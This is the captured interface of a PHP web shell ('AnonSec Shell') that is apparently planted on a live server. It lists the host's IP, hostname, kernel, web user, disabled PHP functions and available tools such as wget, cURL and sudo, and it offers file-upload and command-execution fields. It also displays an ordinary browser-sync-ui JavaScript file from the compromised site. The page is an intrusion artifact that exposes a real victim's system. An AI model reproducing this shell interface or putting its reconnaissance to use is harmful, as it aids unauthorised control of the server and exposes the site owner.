AnonSec Shell
Server IP : 185.86.78.101  /  Your IP : 216.73.216.124
Web Server : Apache
System : Linux 675867-vds-valikoshka1996.gmhost.pp.ua 5.4.0-150-generic #167-Ubuntu SMP Mon May 15 17:35:05 UTC 2023 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /www/wwwroot/mifepriston.org/node_modules/browser-sync-ui/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /www/wwwroot/mifepriston.org/node_modules/browser-sync-ui/lib/directive-stripper.js
var tokenize   = require("html-tokenize");
var through2   = require("through2");
var vinyl      = require("vinyl");
var select     = require("html-select");

/**
 * @param config
 * @param item
 * @param markup
 * @param done
 */
function directiveStripper(config, item, markup, done) {

    var replacer = getReplacer(item, config);
    var chunks = [];

    new vinyl({
            contents: new Buffer(markup)
        })
        .pipe(tokenize())
        .pipe(replacer)
        .pipe(through2.obj(function (row, buf, next) {
            chunks.push(row[1]);
            next();
        }, function () {
            done(null, chunks.join(""));
        }));

    replacer.resume();
}

/**
 * @param name
 * @param item
 * @returns {*|exports}
 */
function getReplacer (name, markup) {

    return select(name, function (e) {

        var tr = through2.obj(function (row, buf, next) {

            if (row[0] === "open") {
                this.push([row[0], directive(name, String(row[1]), markup)]);
            } else {
                this.push([ row[0], "" ]);
            }

            next();
        });

        tr.pipe(e.createStream()).pipe(tr);
    });
}

/**
 * @param name
 * @param content
 * @param item
 * @returns {*|string}
 */
function directive (name, content, item) {

    var angularDir;
    try {
        angularDir = require("../src/scripts/directives/" + name)();
    } catch (e) {
        console.log("Directive not found, cannot re-use");
        return content;
    }

    var scope = item;

    scope = angularDir.link(scope, {}, {});

    return angularDir.template.replace(/\{\{(.+?)\}\}/, function ($1, $2) {
        if ($2 in scope) {
            return scope[$2];
        }
        return $1;
    });
}

module.exports.getReplacer       = getReplacer;
module.exports.directive         = directive;
module.exports.directiveStripper = directiveStripper;

Anon7 - 2022
AnonSec Team